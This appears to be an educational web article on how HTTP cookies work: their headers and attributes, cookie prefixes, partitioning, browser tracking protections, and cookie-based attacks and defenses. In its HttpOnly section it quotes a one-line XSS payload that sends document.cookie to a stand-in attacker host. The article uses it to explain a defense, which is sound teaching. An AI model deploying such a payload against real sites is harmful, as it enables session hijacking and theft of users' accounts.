How HTTP Cookies Work: Set-Cookie, Security Attributes, and SameSite
HTTP cookies are small pieces of data that a server sends to a client via the Set-Cookie response header, which the client then stores and automatically attaches to subsequent requests to that server via the Cookie request header. Cookies are the primary mechanism for maintaining state in the otherwise stateless HTTP protocol. They power session management, authentication, user preferences, shopping carts, analytics, and — controversially — cross-site tracking. The cookie model, originally invented by Lou Montulli at Netscape in 1994 and now standardized in RFC 6265bis, has been extended with security attributes like HttpOnly, Secure, and SameSite that address decades of attack surface. Understanding how cookies actually work — the header mechanics, the attribute semantics, the security boundaries, and the privacy implications — is essential for building secure web applications.
The Set-Cookie and Cookie Headers
The cookie protocol is deceptively simple. A server sets a cookie by including a Set-Cookie header in an HTTP response:
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Set-Cookie: lang=en-US; Path=/; Max-Age=31536000
Each Set-Cookie header sets exactly one cookie. To set multiple cookies, the server sends multiple Set-Cookie headers. The client then attaches all matching cookies to subsequent requests in a single Cookie header, semicolon-separated:
GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: session_id=abc123; theme=dark; lang=en-US
Notice the asymmetry: Set-Cookie includes attributes (Path, HttpOnly, Secure, etc.) that control the cookie's behavior, but the Cookie header sent back by the browser contains only the name-value pairs — no attributes. The server never sees the attributes it set. It cannot determine whether a cookie was set by itself or by a subdomain, whether it was marked Secure, or what its Path was. This asymmetry is the root cause of several classes of cookie-based attacks.
Cookie Attributes
Cookie attributes control the scope, lifetime, and security properties of a cookie. They are set by the server in the Set-Cookie header but never sent back by the client. Getting these attributes right is the difference between a secure session cookie and an exploitable one.
Domain
The Domain attribute controls which hosts the cookie is sent to. The behavior is counterintuitive:
- If
Domainis omitted — the cookie is a "host-only" cookie. It is sent only to the exact host that set it. A cookie set byapp.example.comis not sent toexample.comorother.example.com. - If
Domain=example.comis specified — the cookie is sent toexample.comand all subdomains:app.example.com,api.example.com,evil.example.com. SettingDomainactually broadens the cookie's scope.
This means omitting Domain is the more restrictive option. For session cookies, you almost always want to omit Domain so the cookie is host-only. Setting Domain=example.com on a session cookie means any subdomain compromise (a forgotten staging server, a user-controlled subdomain, an XSS vulnerability on a different subdomain) can steal or overwrite the session cookie.
Path
The Path attribute restricts which URL paths the cookie is sent to. A cookie with Path=/api is sent to /api, /api/users, and /api/v2/data, but not to / or /dashboard. Most applications set Path=/ to make cookies available site-wide.
Path is not a security boundary. JavaScript on any path within the same origin can read cookies set on other paths (unless HttpOnly is set). An attacker who achieves XSS on /blog can read a cookie scoped to Path=/admin by creating an iframe pointing to /admin and accessing its document. The path attribute was designed for scoping, not isolation.
Expires and Max-Age
These attributes control cookie lifetime:
Expires=Thu, 01 Jan 2026 00:00:00 GMT— sets an absolute expiration date. The cookie is deleted after this timestamp. Uses the archaic HTTP date format.Max-Age=86400— sets a relative lifetime in seconds. The cookie expires 86400 seconds (1 day) after the client receives it.Max-Agetakes precedence overExpiresif both are present.- If neither is set — the cookie is a "session cookie" that is deleted when the browser closes. In practice, modern browsers often restore session cookies when restoring tabs, making this distinction less meaningful than it used to be.
Setting Max-Age=0 or Expires to a date in the past instructs the browser to delete the cookie immediately. This is the standard way to "unset" a cookie — there is no Delete-Cookie header.
Secure
A cookie with the Secure attribute is only sent over HTTPS connections. Without Secure, a cookie set on https://example.com would also be sent if the user visits http://example.com, where a network attacker could intercept it in plaintext. The Secure attribute prevents this.
As of 2024, most browsers also prevent non-HTTPS pages from setting cookies with the Secure flag, closing an older attack where an active network attacker could inject an HTTP response with Set-Cookie: session=evil; Secure to overwrite a legitimate secure cookie.
HttpOnly
The HttpOnly attribute prevents JavaScript from accessing the cookie via document.cookie. This is the primary defense against cookie theft through cross-site scripting (XSS). Without HttpOnly, an XSS payload as simple as fetch('https://evil.com/?c='+document.cookie) can exfiltrate every cookie.
HttpOnly does not prevent CSRF — the browser still sends HttpOnly cookies with cross-origin requests. It only prevents JavaScript from reading the cookie value. Session cookies should always be HttpOnly. Cookies that JavaScript needs to read (like a UI theme preference or a CSRF token) cannot be HttpOnly.
SameSite
The SameSite attribute controls whether a cookie is sent with cross-site requests. This is the most important cookie security attribute introduced in the last decade, and it fundamentally changes the web's security model for cookies:
SameSite=Strict— the cookie is never sent with cross-site requests. If a user onevil.comclicks a link tobank.com, the browser does not includeSameSite=Strictcookies in that navigation. This provides the strongest CSRF protection but breaks legitimate use cases: clicking a link to a site from an email, from search results, or from social media will result in the user appearing logged out on arrival.SameSite=Lax— the cookie is sent with top-level navigations (clicking links, entering URLs) but not with cross-site subresource requests (images, iframes, AJAX/fetch). This strikes a balance: the user stays logged in when clicking links from external sites, butPOST-based CSRF attacks are blocked because the cookie is not sent with cross-site POST requests. Since Chrome 80 (February 2020),Laxis the default whenSameSiteis not specified.SameSite=None— the cookie is sent with all requests, including cross-site. This restores the pre-SameSite behavior and is required for cookies that genuinely need to be sent cross-site (embedded payment widgets, federated login, cross-site API calls). Cookies withSameSite=Nonemust also have theSecureattribute; browsers rejectSameSite=Nonecookies withoutSecure.
The "site" in SameSite is defined by the registrable domain (also called eTLD+1): the effective top-level domain plus one label. For app.example.com, the site is example.com. Requests between app.example.com and api.example.com are same-site. Requests between example.com and example.org are cross-site. This is a coarser boundary than the same-origin policy used by CORS, which also considers scheme and port.
First-Party vs Third-Party Cookies
The distinction between first-party and third-party cookies is defined by context, not by the cookie itself. The same cookie is first-party or third-party depending on which page the user is on:
- First-party cookies — cookies whose domain matches the site the user is currently visiting. When you visit
shop.example.com, cookies set byexample.comare first-party. These are essential for sessions, preferences, and site functionality. - Third-party cookies — cookies whose domain does not match the current site. When you visit
shop.example.comand the page loads an ad fromads.tracker.net, cookies set bytracker.netare third-party. These are primarily used for cross-site tracking, ad targeting, and analytics.
Third-party cookies enable cross-site tracking because the tracker's domain appears as a third-party resource on many unrelated websites. Each time a user visits any site that includes the tracker's pixel or script, the browser sends the tracker's cookie, allowing the tracker to build a browsing history across the entire web. This is how ad networks like doubleclick.net (now Google Ads) built user profiles spanning millions of sites.
The web industry is in the middle of a slow, contentious transition away from third-party cookies. Safari blocked them by default in 2020 (via ITP), Firefox followed with ETP, and Chrome has gone back and forth — initially planning to remove them by 2024, then postponing, and ultimately providing user-level controls rather than a blanket ban. The deprecation of third-party cookies has spawned a constellation of replacement proposals (Topics API, Attribution Reporting API, Protected Audience API) under Chrome's Privacy Sandbox initiative.
Cookie Prefixes: __Host- and __Secure-
Because the server cannot see cookie attributes in the Cookie header, it has no way to verify that a cookie was set with the correct security attributes. A subdomain or a man-in-the-middle attacker could set a cookie named session without the Secure or HttpOnly flags, and the server would accept it as genuine. Cookie prefixes, standardized in RFC 6265bis, solve this by encoding security requirements into the cookie name itself:
__Host-— a cookie whose name starts with__Host-must have been set withSecure, must not have aDomainattribute (making it host-only), and must havePath=/. Browsers rejectSet-Cookieheaders that violate these constraints. This is the strongest cookie security guarantee: the cookie is locked to the exact origin that set it, sent only over HTTPS, and cannot be overwritten by a subdomain.__Secure-— a weaker prefix that only requires theSecureattribute. The cookie may still have aDomainattribute. Use this when you need subdomain sharing but want to guarantee HTTPS-only transmission.
# Maximum security: host-only, HTTPS-only, no subdomain sharing
Set-Cookie: __Host-session=abc123; Path=/; Secure; HttpOnly; SameSite=Lax
# HTTPS-only but allows subdomain sharing
Set-Cookie: __Secure-token=xyz789; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Strict
Cookie prefixes are a defense-in-depth measure. They protect against scenarios where an attacker controls a sibling subdomain or can inject HTTP responses on the network. GitHub, Google, and Stripe use __Host- prefixed session cookies in production.
The Cookie Jar
The browser's cookie jar is the persistent store where cookies are kept between requests. Each browser maintains a separate cookie jar, and within each jar, cookies are organized by domain and path. When the browser constructs a request, it searches the cookie jar for all cookies that match the request's scheme, domain, and path, then serializes them into the Cookie header.
The matching algorithm considers:
- Domain matching — host-only cookies match the exact domain; domain cookies match the domain and all subdomains.
- Path matching — the cookie's path must be a prefix of the request path.
- Secure flag —
Securecookies are only included for HTTPS requests. - SameSite — the cookie is excluded if SameSite restrictions apply to the request context.
- Expiration — expired cookies are excluded (and typically garbage-collected).
If multiple cookies with the same name match a request (set by different domains or paths), all of them are sent. The server receives Cookie: session=abc; session=xyz with no way to distinguish which came from which scope. This is the cookie tossing attack vector: an attacker on evil.example.com sets a cookie named session with Domain=example.com, which gets sent alongside the legitimate session cookie from app.example.com. Depending on how the server parses the Cookie header (first wins vs. last wins), the attacker may be able to fixate the session.
Cookie Size Limits and Practical Constraints
RFC 6265 specifies minimum requirements that browsers must support:
- At least 4096 bytes per cookie (name + value + attributes combined)
- At least 50 cookies per domain
- At least 3000 cookies total across all domains
In practice, browsers impose somewhat generous limits but will evict cookies when limits are exceeded. Chrome allows approximately 180 cookies per domain. When the limit is reached, the browser evicts the least-recently-used cookies first. The 4 KB per-cookie size limit is strict — cookies exceeding this limit are silently dropped by most browsers.
The size limit is particularly relevant because cookies are sent on every request to the matching domain. A site with 20 cookies totaling 8 KB adds 8 KB of overhead to every single HTTP request — including requests for images, stylesheets, and API calls. This is why performance-conscious sites use a separate cookieless domain (like a CDN subdomain) for static assets and keep cookie usage minimal. With HTTP/2 header compression (HPACK), repeated cookie headers are compressed efficiently across requests on the same connection, but the first request still carries the full cookie payload.
CHIPS: Cookies Having Independent Partitioned State
CHIPS (introduced in Chrome 114, 2023) addresses a specific problem: some legitimate cross-site use cases need cookies but should not enable tracking. Consider a payment widget from pay.example.com embedded on both shop-a.com and shop-b.com. Without partitioning, pay.example.com's cookie is the same on both sites, enabling cross-site tracking. With CHIPS, each top-level site gets its own isolated copy of the cookie:
# Server sets a partitioned cookie
Set-Cookie: __Host-widget=state123; Path=/; Secure; HttpOnly; SameSite=None; Partitioned
The Partitioned attribute tells the browser to key the cookie not just by the cookie's domain but also by the top-level site where it was set. The cookie set by pay.example.com when embedded in shop-a.com is a completely different cookie from the one set when embedded in shop-b.com. The payment widget maintains its state within each site, but cannot correlate users across sites.
CHIPS partitioned cookies have a lower per-partition limit (typically 10 KB per partition per domain) compared to regular cookies. They also require the __Host- prefix in most implementations, enforcing host-only scope and HTTPS. This design prevents partitioned cookies from being used as a backdoor for domain-wide tracking.
ITP, ETP, and Browser Cookie Restrictions
Browsers have progressively tightened their cookie policies beyond what the HTTP specification requires, driven by user privacy concerns:
Safari: Intelligent Tracking Prevention (ITP)
Apple's Safari was the first major browser to aggressively restrict cookies. ITP, first introduced in 2017 and continuously strengthened, employs machine learning to classify domains as trackers and applies escalating restrictions:
- Third-party cookies are fully blocked for classified tracking domains (and since Safari 13.1 in 2020, for all third-party contexts by default).
- First-party cookies set via JavaScript (
document.cookie) are capped at 7 days. If the user does not interact with the site within 7 days, the cookie is deleted. - First-party cookies set via JavaScript with tracking query parameters (e.g.,
?fbclid=...,?gclid=...) are capped at 24 hours. - Server-set cookies (via
Set-Cookieheader) are not subject to the 7-day cap, incentivizing server-side session management over client-side tracking scripts. - Link decoration detection — ITP detects when a classified tracker navigates to a site with tracking parameters in the URL and restricts the destination site's cookies.
ITP's aggressive stance forced the ad tech industry to adopt alternatives like first-party data strategies, server-side tracking, and CNAME cloaking (where a tracker uses a CNAME DNS record on the first-party domain to appear as first-party — a technique Apple has since countered with CNAME-based IP address checks).
Firefox: Enhanced Tracking Protection (ETP)
Firefox's ETP uses a blocklist approach (the Disconnect.me tracking protection list) rather than machine learning. In its Strict mode, Firefox blocks all third-party cookies from listed trackers. Firefox also introduced Total Cookie Protection (TCP) in Firefox 86, which partitions all third-party cookies by top-level site — similar to CHIPS but applied universally and automatically, not just for cookies with the Partitioned attribute.
Chrome: Privacy Sandbox
Chrome's approach has been the most complex and commercially sensitive, given Google's dependence on advertising revenue. After years of delays, Chrome moved toward providing user controls over third-party cookies rather than an outright ban, while simultaneously developing Privacy Sandbox APIs as alternatives. The SameSite=Lax default (Chrome 80, February 2020) was Chrome's first meaningful cookie restriction, blocking cross-site cookie sending for subresource requests unless the developer explicitly opted in with SameSite=None; Secure.
Cookies and Security: Attack Vectors
Cookies sit at the intersection of authentication and cross-site behavior, making them a perennial target for web attacks:
Cross-Site Request Forgery (CSRF)
The classic cookie-based attack. Because browsers automatically attach cookies to every request — regardless of which site initiated it — an attacker on evil.com can trigger state-changing requests to bank.com with the user's session cookie attached. Before SameSite, the primary defenses were synchronizer tokens and double-submit cookies. With SameSite=Lax as the default, CSRF via POST requests from cross-site contexts is effectively mitigated for modern browsers. See the full explanation in What Is CSRF.
Cross-Site Scripting (XSS) and Cookie Theft
If an attacker achieves XSS on a page, they can read all non-HttpOnly cookies via document.cookie and exfiltrate them. HttpOnly prevents direct cookie reads, but XSS can still make authenticated requests using the victim's cookies (since the browser attaches them automatically). A Content Security Policy (CSP) that blocks inline scripts and restricts script sources is the most effective defense-in-depth against XSS.
Session Fixation
An attacker sets a known session cookie value in the victim's browser (via a subdomain, an HTTP injection, or a URL parameter) before the victim authenticates. When the victim logs in, the server associates the attacker's known session ID with the victim's account. The attacker then uses the same session ID to access the victim's authenticated session. Defense: regenerate the session ID after authentication, and use __Host- prefixed cookies to prevent subdomain-based fixation.
Cookie Tossing
An attacker on a subdomain (e.g., attacker.example.com) sets a domain-wide cookie (Domain=example.com) that shadows a legitimate cookie on app.example.com. The server receives both cookies and may use the attacker's value. __Host- prefixes prevent this because they require cookies to be host-only (no Domain attribute).
Cookie-Based Session Management: Best Practices
A well-secured session cookie in 2024+ should look like this:
Set-Cookie: __Host-sid=<cryptographically-random-value>; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=86400
Breaking down the choices:
__Host-prefix — enforces Secure, host-only (no Domain), and Path=/. Prevents subdomain attacks and cookie tossing.- Cryptographically random value — at least 128 bits of entropy, generated server-side using a CSPRNG. Never use predictable values like user IDs, timestamps, or sequential counters.
Secure— HTTPS-only transmission. Mandatory for__Host-prefix anyway.HttpOnly— prevents JavaScript access, mitigating XSS-based cookie theft.SameSite=Lax— blocks cross-site POST-based CSRF while allowing normal navigations from external links.Max-Age=86400— explicit expiration. Set this to the shortest duration acceptable for your use case. Avoid indefinite sessions.
The session value should be an opaque identifier that maps to server-side session state (user ID, permissions, CSRF token, etc.) stored in a database or in-memory store. Avoid storing application state in the cookie value itself — that is what JWTs are for, and they come with their own set of tradeoffs around size, revocation, and key management.
Cookies in the Modern Web: Alternatives and Evolution
Cookies remain the dominant mechanism for HTTP state management, but alternatives exist for specific use cases:
Authorizationheader with Bearer tokens — common for API authentication, especially with OAuth 2.0 and JWTs. Unlike cookies, Bearer tokens are not automatically attached to requests, eliminating CSRF as an attack vector. But they must be stored somewhere on the client (usuallylocalStorageor memory), making them vulnerable to XSS-based theft in a way thatHttpOnlycookies are not.localStorageandsessionStorage— client-side storage that is not automatically sent to the server. Suitable for UI state and preferences, but not for authentication tokens unless you are comfortable with the XSS risk. These APIs are same-origin scoped, which is more restrictive than cookie domain scoping.- Service Workers and the Cache API — can intercept requests and attach tokens programmatically. This provides maximum control but adds complexity and is overkill for most applications.
For traditional web applications (server-rendered pages, form submissions, navigation-based flows), cookies remain the right choice. They integrate seamlessly with the browser's navigation model, are handled automatically, and have well-understood security properties. For SPAs communicating with APIs, the choice between cookies and Bearer tokens depends on whether you prioritize CSRF immunity (Bearer tokens) or XSS resilience (HttpOnly cookies).
Cookie Scope and the Network Layer
Cookies interact with the network infrastructure in ways that are not always obvious. Every cookie sent on every request adds header overhead that flows through the entire network path — from the client through TLS tunnels, through CDN edge nodes, through load balancers, and finally to the origin server. Large cookie payloads can push HTTP request headers beyond the buffer size of reverse proxies and load balancers, resulting in 431 Request Header Fields Too Large errors — a particularly frustrating failure mode because it appears to the user as a broken site with no clear cause.
CDNs like Cloudflare, Fastly, and Akamai use cookies in their caching logic. A request with cookies is often treated as uncacheable by default (since cookies typically indicate a personalized response), which means unnecessary cookies on static asset requests cause CDN cache misses and increased origin load. This is why separating static assets onto a cookieless domain or using Cache-Control directives that explicitly allow caching despite cookies is standard practice for high-traffic sites.
At the BGP and routing level, cookies are just bytes in TCP payloads — routers and switches are unaware of them. But the infrastructure that serves cookie-bearing HTTP traffic (DNS, CDN edges, origin servers) is visible in BGP routing tables. You can trace the autonomous systems and IP routes that carry your cookie-authenticated traffic using the god.ad BGP Looking Glass. Look up AS13335 (Cloudflare), AS54113 (Fastly), or AS16625 (Akamai) to see the networks that handle millions of cookie-bearing HTTP requests per second across the global internet.